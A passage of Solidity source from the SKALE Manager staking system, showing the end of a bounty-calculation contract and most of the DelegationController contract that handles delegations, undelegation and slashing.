require(hasRole(BOUNTY_REDUCTION_MANAGER_ROLE, msg.sender), "BOUNTY_REDUCTION_MANAGER_ROLE is required");
_;
}
function calculateBounty(uint nodeIndex)
external
allow("SkaleManager")
returns (uint)
{
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers"));
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController")
);
require(
_getNextRewardTimestamp(nodeIndex, nodes, timeHelpers) <= now,
"Transaction is sent too early"
);
uint validatorId = nodes.getValidatorId(nodeIndex);
if (nodesByValidator[validatorId] > 0) {
delete nodesByValidator[validatorId];
}
uint currentMonth = timeHelpers.getCurrentMonth();
_refillEpochPool(currentMonth, timeHelpers, constantsHolder);
_prepareBountyHistory(validatorId, currentMonth);
uint bounty = _calculateMaximumBountyAmount(
_epochPool,
_effectiveDelegatedSum.getAndUpdateValue(currentMonth),
_bountyWasPaidInCurrentEpoch,
nodeIndex,
_bountyHistory[validatorId].bountyPaid,
delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, currentMonth),
delegationController.getAndUpdateDelegatedToValidatorNow(validatorId),
constantsHolder,
nodes
);
_bountyHistory[validatorId].bountyPaid = _bountyHistory[validatorId].bountyPaid.add(bounty);
bounty = _reduceBounty(
bounty,
nodeIndex,
nodes,
constantsHolder
);
_epochPool = _epochPool.sub(bounty);
_bountyWasPaidInCurrentEpoch = _bountyWasPaidInCurrentEpoch.add(bounty);
return bounty;
}
function enableBountyReduction() external onlyBountyReductionManager {
bountyReduction = true;
}
function disableBountyReduction() external onlyBountyReductionManager {
bountyReduction = false;
}
function setNodeCreationWindowSeconds(uint window) external allow("Nodes") {
nodeCreationWindowSeconds = window;
}
function handleDelegationAdd(
uint amount,
uint month
)
external
allow("DelegationController")
{
_effectiveDelegatedSum.addToValue(amount, month);
}
function handleDelegationRemoving(
uint amount,
uint month
)
external
allow("DelegationController")
{
_effectiveDelegatedSum.subtractFromValue(amount, month);
}
function estimateBounty(uint nodeIndex) external view returns (uint) {
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers"));
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController")
);
uint currentMonth = timeHelpers.getCurrentMonth();
uint validatorId = nodes.getValidatorId(nodeIndex);
uint stagePoolSize;
(stagePoolSize, ) = _getEpochPool(currentMonth, timeHelpers, constantsHolder);
return _calculateMaximumBountyAmount(
stagePoolSize,
_effectiveDelegatedSum.getValue(currentMonth),
_nextEpoch == currentMonth.add(1) ? _bountyWasPaidInCurrentEpoch : 0,
nodeIndex,
_getBountyPaid(validatorId, currentMonth),
delegationController.getEffectiveDelegatedToValidator(validatorId, currentMonth),
delegationController.getDelegatedToValidator(validatorId, currentMonth),
constantsHolder,
nodes
);
}
function getNextRewardTimestamp(uint nodeIndex) external view returns (uint) {
return _getNextRewardTimestamp(
nodeIndex,
Nodes(contractManager.getContract("Nodes")),
TimeHelpers(contractManager.getContract("TimeHelpers"))
);
}
function getEffectiveDelegatedSum() external view returns (uint[] memory) {
return _effectiveDelegatedSum.getValues();
}
function initialize(address contractManagerAddress) public override initializer {
Permissions.initialize(contractManagerAddress);
_nextEpoch = 0;
_epochPool = 0;
_bountyWasPaidInCurrentEpoch = 0;
bountyReduction = false;
nodeCreationWindowSeconds = 3 * SECONDS_PER_DAY;
}
// private
function _calculateMaximumBountyAmount(
uint epochPoolSize,
uint effectiveDelegatedSum,
uint bountyWasPaidInCurrentEpoch,
uint nodeIndex,
uint bountyPaidToTheValidator,
uint effectiveDelegated,
uint delegated,
ConstantsHolder constantsHolder,
Nodes nodes
)
private
view
returns (uint)
{
if (nodes.isNodeLeft(nodeIndex)) {
return 0;
}
if (now < constantsHolder.launchTimestamp()) {
// network is not launched
// bounty is turned off
return 0;
}
if (effectiveDelegatedSum == 0) {
// no delegations in the system
return 0;
}
if (constantsHolder.msr() == 0) {
return 0;
}
uint bounty = _calculateBountyShare(
epochPoolSize.add(bountyWasPaidInCurrentEpoch),
effectiveDelegated,
effectiveDelegatedSum,
delegated.div(constantsHolder.msr()),
bountyPaidToTheValidator
);
return bounty;
}
function _calculateBountyShare(
uint monthBounty,
uint effectiveDelegated,
uint effectiveDelegatedSum,
uint maxNodesAmount,
uint paidToValidator
)
private
pure
returns (uint)
{
if (maxNodesAmount > 0) {
uint totalBountyShare = monthBounty
.mul(effectiveDelegated)
.div(effectiveDelegatedSum);
return _min(
totalBountyShare.div(maxNodesAmount),
totalBountyShare.sub(paidToValidator)
);
} else {
return 0;
}
}
function _getFirstEpoch(TimeHelpers timeHelpers, ConstantsHolder constantsHolder) private view returns (uint) {
return timeHelpers.timestampToMonth(constantsHolder.launchTimestamp());
}
function _getEpochPool(
uint currentMonth,
TimeHelpers timeHelpers,
ConstantsHolder constantsHolder
)
private
view
returns (uint epochPool, uint nextEpoch)
{
epochPool = _epochPool;
for (nextEpoch = _nextEpoch; nextEpoch <= currentMonth; ++nextEpoch) {
epochPool = epochPool.add(_getEpochReward(nextEpoch, timeHelpers, constantsHolder));
}
}
function _refillEpochPool(uint currentMonth, TimeHelpers timeHelpers, ConstantsHolder constantsHolder) private {
uint epochPool;
uint nextEpoch;
(epochPool, nextEpoch) = _getEpochPool(currentMonth, timeHelpers, constantsHolder);
if (_nextEpoch < nextEpoch) {
(_epochPool, _nextEpoch) = (epochPool, nextEpoch);
_bountyWasPaidInCurrentEpoch = 0;
}
}
function _getEpochReward(
uint epoch,
TimeHelpers timeHelpers,
ConstantsHolder constantsHolder
)
private
view
returns (uint)
{
uint firstEpoch = _getFirstEpoch(timeHelpers, constantsHolder);
if (epoch < firstEpoch) {
return 0;
}
uint epochIndex = epoch.sub(firstEpoch);
uint year = epochIndex.div(EPOCHS_PER_YEAR);
if (year >= 6) {
uint power = year.sub(6).div(3).add(1);
if (power < 256) {
return YEAR6_BOUNTY.div(2 ** power).div(EPOCHS_PER_YEAR);
} else {
return 0;
}
} else {
uint[6] memory customBounties = [
YEAR1_BOUNTY,
YEAR2_BOUNTY,
YEAR3_BOUNTY,
YEAR4_BOUNTY,
YEAR5_BOUNTY,
YEAR6_BOUNTY
];
return customBounties[year].div(EPOCHS_PER_YEAR);
}
}
function _reduceBounty(
uint bounty,
uint nodeIndex,
Nodes nodes,
ConstantsHolder constants
)
private
returns (uint reducedBounty)
{
if (!bountyReduction) {
return bounty;
}
reducedBounty = bounty;
if (!nodes.checkPossibilityToMaintainNode(nodes.getValidatorId(nodeIndex), nodeIndex)) {
reducedBounty = reducedBounty.div(constants.MSR_REDUCING_COEFFICIENT());
}
}
function _prepareBountyHistory(uint validatorId, uint currentMonth) private {
if (_bountyHistory[validatorId].month < currentMonth) {
_bountyHistory[validatorId].month = currentMonth;
delete _bountyHistory[validatorId].bountyPaid;
}
}
function _getBountyPaid(uint validatorId, uint month) private view returns (uint) {
require(_bountyHistory[validatorId].month <= month, "Can't get bounty paid");
if (_bountyHistory[validatorId].month == month) {
return _bountyHistory[validatorId].bountyPaid;
} else {
return 0;
}
}
function _getNextRewardTimestamp(uint nodeIndex, Nodes nodes, TimeHelpers timeHelpers) private view returns (uint) {
uint lastRewardTimestamp = nodes.getNodeLastRewardDate(nodeIndex);
uint lastRewardMonth = timeHelpers.timestampToMonth(lastRewardTimestamp);
uint lastRewardMonthStart = timeHelpers.monthToTimestamp(lastRewardMonth);
uint timePassedAfterMonthStart = lastRewardTimestamp.sub(lastRewardMonthStart);
uint currentMonth = timeHelpers.getCurrentMonth();
assert(lastRewardMonth <= currentMonth);
if (lastRewardMonth == currentMonth) {
uint nextMonthStart = timeHelpers.monthToTimestamp(currentMonth.add(1));
uint nextMonthFinish = timeHelpers.monthToTimestamp(lastRewardMonth.add(2));
if (lastRewardTimestamp < lastRewardMonthStart.add(nodeCreationWindowSeconds)) {
return nextMonthStart.sub(BOUNTY_WINDOW_SECONDS);
} else {
return _min(nextMonthStart.add(timePassedAfterMonthStart), nextMonthFinish.sub(BOUNTY_WINDOW_SECONDS));
}
} else if (lastRewardMonth.add(1) == currentMonth) {
uint currentMonthStart = timeHelpers.monthToTimestamp(currentMonth);
uint currentMonthFinish = timeHelpers.monthToTimestamp(currentMonth.add(1));
return _min(
currentMonthStart.add(_max(timePassedAfterMonthStart, nodeCreationWindowSeconds)),
currentMonthFinish.sub(BOUNTY_WINDOW_SECONDS)
);
} else {
uint currentMonthStart = timeHelpers.monthToTimestamp(currentMonth);
return currentMonthStart.add(nodeCreationWindowSeconds);
}
}
function _min(uint a, uint b) private pure returns (uint) {
if (a < b) {
return a;
} else {
return b;
}
}
function _max(uint a, uint b) private pure returns (uint) {
if (a < b) {
return b;
} else {
return a;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
DelegationController.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol";
import "../BountyV2.sol";
import "../Nodes.sol";
import "../Permissions.sol";
import "../utils/FractionUtils.sol";
import "../utils/MathUtils.sol";
import "./DelegationPeriodManager.sol";
import "./PartialDifferences.sol";
import "./Punisher.sol";
import "./TokenState.sol";
import "./ValidatorService.sol";
/**
* @title Delegation Controller
* @dev This contract performs all delegation functions including delegation
* requests, and undelegation, etc.
*
* Delegators and validators may both perform delegations. Validators who perform
* delegations to themselves are effectively self-delegating or self-bonding.
*
* IMPORTANT: Undelegation may be requested at any time, but undelegation is only
* performed at the completion of the current delegation period.
*
* Delegated tokens may be in one of several states:
*
* - PROPOSED: token holder proposes tokens to delegate to a validator.
* - ACCEPTED: token delegations are accepted by a validator and are locked-by-delegation.
* - CANCELED: token holder cancels delegation proposal. Only allowed before the proposal is accepted by the validator.
* - REJECTED: token proposal expires at the UTC start of the next month.
* - DELEGATED: accepted delegations are delegated at the UTC start of the month.
* - UNDELEGATION_REQUESTED: token holder requests delegations to undelegate from the validator.
* - COMPLETED: undelegation request is completed at the end of the delegation period.
*/
contract DelegationController is Permissions, ILocker {
using MathUtils for uint;
using PartialDifferences for PartialDifferences.Sequence;
using PartialDifferences for PartialDifferences.Value;
using FractionUtils for FractionUtils.Fraction;
uint public constant UNDELEGATION_PROHIBITION_WINDOW_SECONDS = 3 * 24 * 60 * 60;
enum State {
PROPOSED,
ACCEPTED,
CANCELED,
REJECTED,
DELEGATED,
UNDELEGATION_REQUESTED,
COMPLETED
}
struct Delegation {
address holder; // address of token owner
uint validatorId;
uint amount;
uint delegationPeriod;
uint created; // time of delegation creation
uint started; // month when a delegation becomes active
uint finished; // first month after a delegation ends
string info;
}
struct SlashingLogEvent {
FractionUtils.Fraction reducingCoefficient;
uint nextMonth;
}
struct SlashingLog {
// month => slashing event
mapping (uint => SlashingLogEvent) slashes;
uint firstMonth;
uint lastMonth;
}
struct DelegationExtras {
uint lastSlashingMonthBeforeDelegation;
}
struct SlashingEvent {
FractionUtils.Fraction reducingCoefficient;
uint validatorId;
uint month;
}
struct SlashingSignal {
address holder;
uint penalty;
}
struct LockedInPending {
uint amount;
uint month;
}
struct FirstDelegationMonth {
// month
uint value;
//validatorId => month
mapping (uint => uint) byValidator;
}
struct ValidatorsStatistics {
// number of validators
uint number;
//validatorId => bool - is Delegated or not
mapping (uint => uint) delegated;
}
/**
* @dev Emitted when a delegation is proposed to a validator.
*/
event DelegationProposed(
uint delegationId
);
/**
* @dev Emitted when a delegation is accepted by a validator.
*/
event DelegationAccepted(
uint delegationId
);
/**
* @dev Emitted when a delegation is cancelled by the delegator.
*/
event DelegationRequestCanceledByUser(
uint delegationId
);
/**
* @dev Emitted when a delegation is requested to undelegate.
*/
event UndelegationRequested(
uint delegationId
);
/// @dev delegations will never be deleted to index in this array may be used like delegation id
Delegation[] public delegations;
// validatorId => delegationId[]
mapping (uint => uint[]) public delegationsByValidator;
// holder => delegationId[]
mapping (address => uint[]) public delegationsByHolder;
// delegationId => extras
mapping(uint => DelegationExtras) private _delegationExtras;
// validatorId => sequence
mapping (uint => PartialDifferences.Value) private _delegatedToValidator;
// validatorId => sequence
mapping (uint => PartialDifferences.Sequence) private _effectiveDelegatedToValidator;
// validatorId => slashing log
mapping (uint => SlashingLog) private _slashesOfValidator;
// holder => sequence
mapping (address => PartialDifferences.Value) private _delegatedByHolder;
// holder => validatorId => sequence
mapping (address => mapping (uint => PartialDifferences.Value)) private _delegatedByHolderToValidator;
// holder => validatorId => sequence
mapping (address => mapping (uint => PartialDifferences.Sequence)) private _effectiveDelegatedByHolderToValidator;
SlashingEvent[] private _slashes;
// holder => index in _slashes;
mapping (address => uint) private _firstUnprocessedSlashByHolder;
// holder => validatorId => month
mapping (address => FirstDelegationMonth) private _firstDelegationMonth;
// holder => locked in pending
mapping (address => LockedInPending) private _lockedInPendingDelegations;
mapping (address => ValidatorsStatistics) private _numberOfValidatorsPerDelegator;
/**
* @dev Modifier to make a function callable only if delegation exists.
*/
modifier checkDelegationExists(uint delegationId) {
require(delegationId < delegations.length, "Delegation does not exist");
_;
}
/**
* @dev Update and return a validator's delegations.
*/
function getAndUpdateDelegatedToValidatorNow(uint validatorId) external returns (uint) {
return _getAndUpdateDelegatedToValidator(validatorId, _getCurrentMonth());
}
/**
* @dev Update and return the amount delegated.
*/
function getAndUpdateDelegatedAmount(address holder) external returns (uint) {
return _getAndUpdateDelegatedByHolder(holder);
}
/**
* @dev Update and return the effective amount delegated (minus slash) for
* the given month.
*/
function getAndUpdateEffectiveDelegatedByHolderToValidator(address holder, uint validatorId, uint month) external
allow("Distributor") returns (uint effectiveDelegated)
{
SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(holder);
effectiveDelegated = _effectiveDelegatedByHolderToValidator[holder][validatorId]
.getAndUpdateValueInSequence(month);
_sendSlashingSignals(slashingSignals);
}
/**
* @dev Allows a token holder to create a delegation proposal of an `amount`
* and `delegationPeriod` to a `validatorId`. Delegation must be accepted
* by the validator before the UTC start of the month, otherwise the
* delegation will be rejected.
*
* The token holder may add additional information in each proposal.
*
* Emits a {DelegationProposed} event.
*
* Requirements:
*
* - Holder must have sufficient delegatable tokens.
* - Delegation must be above the validator's minimum delegation amount.
* - Delegation period must be allowed.
* - Validator must be authorized if trusted list is enabled.
* - Validator must be accepting new delegation requests.
*/
function delegate(
uint validatorId,
uint amount,
uint delegationPeriod,
string calldata info
)
external
{
require(
_getDelegationPeriodManager().isDelegationPeriodAllowed(delegationPeriod),
"This delegation period is not allowed");
_getValidatorService().checkValidatorCanReceiveDelegation(validatorId, amount);
_checkIfDelegationIsAllowed(msg.sender, validatorId);
SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(msg.sender);
uint delegationId = _addDelegation(
msg.sender,
validatorId,
amount,
delegationPeriod,
info);
// check that there is enough money
uint holderBalance = IERC777(contractManager.getSkaleToken()).balanceOf(msg.sender);
uint forbiddenForDelegation = TokenState(contractManager.getTokenState())
.getAndUpdateForbiddenForDelegationAmount(msg.sender);
require(holderBalance >= forbiddenForDelegation, "Token holder does not have enough tokens to delegate");
emit DelegationProposed(delegationId);
_sendSlashingSignals(slashingSignals);
}
/**
* @dev See {ILocker-getAndUpdateLockedAmount}.
*/
function getAndUpdateLockedAmount(address wallet) external override returns (uint) {
return _getAndUpdateLockedAmount(wallet);
}
/**
* @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}.
*/
function getAndUpdateForbiddenForDelegationAmount(address wallet) external override returns (uint) {
return _getAndUpdateLockedAmount(wallet);
}
/**
* @dev Allows token holder to cancel a delegation proposal.
*
* Emits a {DelegationRequestCanceledByUser} event.
*
* Requirements:
*
* - `msg.sender` must be the token holder of the delegation proposal.
* - Delegation state must be PROPOSED.
*/
function cancelPendingDelegation(uint delegationId) external checkDelegationExists(delegationId) {
require(msg.sender == delegations[delegationId].holder, "Only token holders can cancel delegation request");
require(getState(delegationId) == State.PROPOSED, "Token holders are only able to cancel PROPOSED delegations");
delegations[delegationId].finished = _getCurrentMonth();
_subtractFromLockedInPendingDelegations(delegations[delegationId].holder, delegations[delegationId].amount);
emit DelegationRequestCanceledByUser(delegationId);
}
/**
* @dev Allows a validator to accept a proposed delegation.
* Successful acceptance of delegations transition the tokens from a
* PROPOSED state to ACCEPTED, and tokens are locked for the remainder of the
* delegation period.
*
* Emits a {DelegationAccepted} event.
*
* Requirements:
*
* - Validator must be recipient of proposal.
* - Delegation state must be PROPOSED.
*/
function acceptPendingDelegation(uint delegationId) external checkDelegationExists(delegationId) {
require(
_getValidatorService().checkValidatorAddressToId(msg.sender, delegations[delegationId].validatorId),
"No permissions to accept request");
_accept(delegationId);
}
/**
* @dev Allows delegator to undelegate a specific delegation.
*
* Emits UndelegationRequested event.
*
* Requirements:
*
* - `msg.sender` must be the delegator.
* - Delegation state must be DELEGATED.
*/
function requestUndelegation(uint delegationId) external checkDelegationExists(delegationId) {
require(getState(delegationId) == State.DELEGATED, "Cannot request undelegation");
ValidatorService validatorService = _getValidatorService();
require(
delegations[delegationId].holder == msg.sender ||
(validatorService.validatorAddressExists(msg.sender) &&
delegations[delegationId].validatorId == validatorService.getValidatorId(msg.sender)),
"Permission denied to request undelegation");
_removeValidatorFromValidatorsPerDelegators(
delegations[delegationId].holder,
delegations[delegationId].validatorId);
processAllSlashes(msg.sender);
delegations[delegationId].finished = _calculateDelegationEndMonth(delegationId);
require(
now.add(UNDELEGATION_PROHIBITION_WINDOW_SECONDS)
< _getTimeHelpers().monthToTimestamp(delegations[delegationId].finished),
"Undelegation requests must be sent 3 days before the end of delegation period"
);
_subtractFromAllStatistics(delegationId);
emit UndelegationRequested(delegationId);
}
/**
* @dev Allows Punisher contract to slash an `amount` of stake from
* a validator. This slashes an amount of delegations of the validator,
* which reduces the amount that the validator has staked. This consequence
* may force the SKALE Manager to reduce the number of nodes a validator is
* operating so the validator can meet the Minimum Staking Requirement.
*
* Emits a {SlashingEvent}.
*
* See {Punisher}.
*/
function confiscate(uint validatorId, uint amount) external allow("Punisher") {
uint currentMonth = _getCurrentMonth();
FractionUtils.Fraction memory coefficient =
_delegatedToValidator[validatorId].reduceValue(amount, currentMonth);
uint initialEffectiveDelegated =
_effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(currentMonth);
uint[] memory initialSubtractions = new uint[](0);
if (currentMonth < _effectiveDelegatedToValidator[validatorId].lastChangedMonth) {
initialSubtractions = new uint[](
_effectiveDelegatedToValidator[validatorId].lastChangedMonth.sub(currentMonth)
);
for (uint i = 0; i < initialSubtractions.length; ++i) {
initialSubtractions[i] = _effectiveDelegatedToValidator[validatorId]
.subtractDiff[currentMonth.add(i).add(1)];
}
}
_effectiveDelegatedToValidator[validatorId].reduceSequence(coefficient, currentMonth);
_putToSlashingLog(_slashesOfValidator[validatorId], coefficient, currentMonth);
_slashes.push(SlashingEvent({reducingCoefficient: coefficient, validatorId: validatorId, month: currentMonth}));
BountyV2 bounty = _getBounty();
bounty.handleDelegationRemoving(
initialEffectiveDelegated.sub(
_effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(currentMonth)
),
currentMonth
);
for (uint i = 0; i < initialSubtractions.length; ++i) {
bounty.handleDelegationAdd(
initialSubtractions[i].sub(
_effectiveDelegatedToValidator[validatorId].subtractDiff[currentMonth.add(i).add(1)]
),
currentMonth.add(i).add(1)
);
}
}
/**
* @dev Allows Distributor contract to return and update the effective
* amount delegated (minus slash) to a validator for a given month.
*/
function getAndUpdateEffectiveDelegatedToValidator(uint validatorId, uint month)
external allowTwo("Bounty", "Distributor") returns (uint)
{
return _effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(month);
}
/**
* @dev Return and update the amount delegated to a validator for the
* current month.
*/
function getAndUpdateDelegatedByHolderToValidatorNow(address holder, uint validatorId) external returns (uint) {
return _getAndUpdateDelegatedByHolderToValidator(holder, validatorId, _getCurrentMonth());
}
function getEffectiveDelegatedValuesByValidator(uint validatorId) external view returns (uint[] memory) {
return _effectiveDelegatedToValidator[validatorId].getValuesInSequence();
}
function getEffectiveDelegatedToValidator(uint validatorId, uint month) external view returns (uint) {
return _effectiveDelegatedToValidator[validatorId].getValueInSequence(month);
}
function getDelegatedToValidator(uint validatorId, uint month) external view returns (uint) {
return _delegatedToValidator[validatorId].getValue(month);
}
/**
* @dev Return Delegation struct.
*/
function getDelegation(uint delegationId)
external view checkDelegationExists(delegationId) returns (Delegation memory)
{
return delegations[delegationId];
}
/**
* @dev Returns the first delegation month.
*/
function getFirstDelegationMonth(address holder, uint validatorId) external view returns(uint) {
return _firstDelegationMonth[holder].byValidator[validatorId];
}
/**
* @dev Returns a validator's total number of delegations.
*/
function getDelegationsByValidatorLength(uint validatorId) external view returns (uint) {
return delegationsByValidator[validatorId].length;
}
/**
* @dev Returns a holder's total number of delegations.
*/
function getDelegationsByHolderLength(address holder) external view returns (uint) {
return delegationsByHolder[holder].length;
}
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
}
/**
* @dev Process slashes up to the given limit.
*/
function processSlashes(address holder, uint limit) public {
_sendSlashingSignals(_processSlashesWithoutSignals(holder, limit));
}
/**
* @dev Process all slashes.
*/
function processAllSlashes(address holder) public {
processSlashes(holder, 0);
}
/**
* @dev Returns the token state of a given delegation.
*/
function getState(uint delegationId) public view checkDelegationExists(delegationId) returns (State state) {
if (delegations[delegationId].started == 0) {
if (delegations[delegationId].finished == 0) {
if (_getCurrentMonth() == _getTimeHelpers().timestampToMonth(delegations[delegationId].created)) {
return State.PROPOSED;
} else {
return State.REJECTED;
}
} else {
return State.CANCELED;
}
} else {
if (_getCurrentMonth() < delegations[delegationId].started) {
return State.ACCEPTED;
} else {
if (delegations[delegationId].finished == 0) {
return State.DELEGATED;
} else {
if (_getCurrentMonth() < delegations[delegationId].finished) {
return State.UNDELEGATION_REQUESTED;
} else {
return State.COMPLETED;
}
}
}
}
}
/**
* @dev Returns the amount of tokens in PENDING delegation state.
*/
function getLockedInPendingDelegations(address holder) public view returns (uint) {
uint currentMonth = _getCurrentMonth();
if (_lockedInPendingDelegations[holder].month < currentMonth) {
return 0;
} else {
return _lockedInPendingDelegations[holder].amount;
}
}
/**
* @dev Checks whether there are any unprocessed slashes.
*/
function hasUnprocessedSlashes(address holder) public view returns (bool) {
return _everDelegated(holder) && _firstUnprocessedSlashByHolder[holder] < _slashes.length;
}
// private
/**
* @dev Allows Nodes contract to get and update the amount delegated
* to validator for a given month.
*/
function _getAndUpdateDelegatedToValidator(uint validatorId, uint month)
private returns (uint)
{
return _delegatedToValidator[validatorId].getAndUpdateValue(month);
}
/**
* @dev Adds a new delegation proposal.
*/
function _addDelegation(
address holder,
uint validatorId,
uint amount,
uint delegationPeriod,
string memory info
)
private
returns (uint delegationId)
{
delegationId = delegations.length;
delegations.push(Delegation(
holder,
validatorId,
amount,
delegationPeriod,
now,
0,
0,
info
));
delegationsByValidator[validatorId].push(delegationId);
delegationsByHolder[holder].push(delegationId);
_addToLockedInPendingDelegations(delegations[delegationId].holder, delegations[delegationId].amount);
}
/**
* @dev Returns the month when a delegation ends.
*/
function _calculateDelegationEndMonth(uint delegationId) private view returns (uint) {
uint currentMonth = _getCurrentMonth();
uint started = delegations[delegationId].started;
if (currentMonth < started) {
return started.add(delegations[delegationId].delegationPeriod);
} else {
uint completedPeriods = currentMonth.sub(started).div(delegations[delegationId].delegationPeriod);
return started.add(completedPeriods.add(1).mul(delegations[delegationId].delegationPeriod));
}
}
function _addToDelegatedToValidator(uint validatorId, uint amount, uint month) private {
_delegatedToValidator[validatorId].addToValue(amount, month);
}
function _addToEffectiveDelegatedToValidator(uint validatorId, uint effectiveAmount, uint month) private {
_effectiveDelegatedToValidator[validatorId].addToSequence(effectiveAmount, month);
}
function _addToDelegatedByHolder(address holder, uint amount, uint month) private {
_delegatedByHolder[holder].addToValue(amount, month);
}
function _addToDelegatedByHolderToValidator(
address holder, uint validatorId, uint amount, uint month) private
{
_delegatedByHolderToValidator[holder][validatorId].addToValue(amount, month);
}
function _addValidatorToValidatorsPerDelegators(address holder, uint validatorId) private {
if (_numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 0) {
_numberOfValidatorsPerDelegator[holder].number = _numberOfValidatorsPerDelegator[holder].number.add(1);
}
_numberOfValidatorsPerDelegator[holder].
delegated[validatorId] = _numberOfValidatorsPerDelegator[holder].delegated[validatorId].add(1);
}
function _removeFromDelegatedByHolder(address holder, uint amount, uint month) private {
_delegatedByHolder[holder].subtractFromValue(amount, month);
}
function _removeFromDelegatedByHolderToValidator(
address holder, uint validatorId, uint amount, uint month) private
{
_delegatedByHolderToValidator[holder][validatorId].subtractFromValue(amount, month);
}
function _removeValidatorFromValidatorsPerDelegators(address holder, uint validatorId) private {
if (_numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 1) {
_numberOfValidatorsPerDelegator[holder].number = _numberOfValidatorsPerDelegator[holder].number.sub(1);
}
_numberOfValidatorsPerDelegator[holder].
delegated[validatorId] = _numberOfValidatorsPerDelegator[holder].delegated[validatorId].sub(1);
}
function _addToEffectiveDelegatedByHolderToValidator(
address holder,
uint validatorId,
uint effectiveAmount,
uint month)
private
{
_effectiveDelegatedByHolderToValidator[holder][validatorId].addToSequence(effectiveAmount, month);
}
function _removeFromEffectiveDelegatedByHolderToValidator(
address holder,
uint validatorId,
uint effectiveAmount,
uint month)
private
{
_effectiveDelegatedByHolderToValidator[holder][validatorId].subtractFromSequence(effectiveAmount, month);
}
function _getAndUpdateDelegatedByHolder(address holder) private returns (uint) {
uint currentMonth = _getCurrentMonth();
processAllSlashes(holder);
return _delegatedByHolder[holder].getAndUpdateValue(currentMonth);
}
function _getAndUpdateDelegatedByHolderToValidator(
address holder,
uint validatorId,
uint month)
private returns (uint)
{
return _delegatedByHolderToValidator[holder][validatorId].getAndUpdateValue(month);
}
function _addToLockedInPendingDelegations(address holder, uint amount) private returns (uint) {
uint currentMonth = _getCurrentMonth();
if (_lockedInPendingDelegations[holder].month < currentMonth) {
_lockedInPendingDelegations[holder].amount = amount;
_lockedInPendingDelegations[holder].month = currentMonth;
} else {
assert(_lockedInPendingDelegations[holder].month == currentMonth);
_lockedInPendingDelegations[holder].amount = _lockedInPendingDelegations[holder].amount.add(amount);
}
}
function _subtractFromLockedInPendingDelegations(address holder, uint amount) private returns (uint) {
uint currentMonth = _getCurrentMonth();
assert(_lockedInPendingDelegations[holder].month == currentMonth);
_lockedInPendingDelegations[holder].amount = _lockedInPendingDelegations[holder].amount.sub(amount);
}
function _getCurrentMonth() private view returns (uint) {
return _getTimeHelpers().getCurrentMonth();
}
/**
* @dev See {ILocker-getAndUpdateLockedAmount}.
*/
function _getAndUpdateLockedAmount(address wallet) private returns (uint) {
return _getAndUpdateDelegatedByHolder(wallet).add(getLockedInPendingDelegations(wallet));
}
function _updateFirstDelegationMonth(address holder, uint validatorId, uint month) private {
if (_firstDelegationMonth[holder].value == 0) {
_firstDelegationMonth[holder].value = month;
_firstUnprocessedSlashByHolder[holder] = _slashes.length;
}
if (_firstDelegationMonth[holder].byValidator[validatorId] == 0) {
_firstDelegationMonth[holder].byValidator[validatorId] = month;
}
}
/**
* @dev Checks whether the holder has performed a delegation.
*/
function _everDelegated(address holder) private view returns (bool) {
return _firstDelegationMonth[holder].value > 0;
}
function _removeFromDelegatedToValidator(uint validatorId, uint amount, uint month) private {
_delegatedToValidator[validatorId].subtractFromValue(amount, month);
}
function _removeFromEffectiveDelegatedToValidator(uint validatorId, uint effectiveAmount, uint month) private {
_effectiveDelegatedToValidator[validatorId].subtractFromSequence(effectiveAmount, month);
}
/**
* @dev Returns the delegated amount after a slashing event.
*/
function _calculateDelegationAmountAfterSlashing(uint delegationId) private view returns (uint) {
uint startMonth = _delegationExtras[delegationId].lastSlashingMonthBeforeDelegation;
uint validatorId = delegations[delegationId].validatorId;
uint amount = delegations[delegationId].amount;
if (startMonth == 0) {
startMonth = _slashesOfValidator[validatorId].firstMonth;
if (startMonth == 0) {
return amount;
}
}
for (uint i = startMonth;
i > 0 && i < delegations[delegationId].finished;
i = _slashesOfValidator[validatorId].slashes[i].nextMonth) {
if (i >= delegations[delegationId].started) {
amount = amount
.mul(_slashesOfValidator[validatorId].slashes[i].reducingCoefficient.numerator)
.div(_slashesOfValidator[validatorId].slashes[i].reducingCoefficient.denominator);
}
}
return amount;
}
function _putToSlashingLog(
SlashingLog storage log,
FractionUtils.Fraction memory coefficient,
uint month)
private
{
if (log.firstMonth == 0) {
log.firstMonth = month;
log.lastMonth = month;
log.slashes[month].reducingCoefficient = coefficient;
log.slashes[month].nextMonth = 0;
} else {
require(log.lastMonth <= month, "Cannot put slashing event in the past");
if (log.lastMonth == month) {
log.slashes[month].reducingCoefficient =
log.slashes[month].reducingCoefficient.multiplyFraction(coefficient);
} else {
log.slashes[month].reducingCoefficient = coefficient;
log.slashes[month].nextMonth = 0;
log.slashes[log.lastMonth].nextMonth = month;
log.lastMonth = month;
}
}
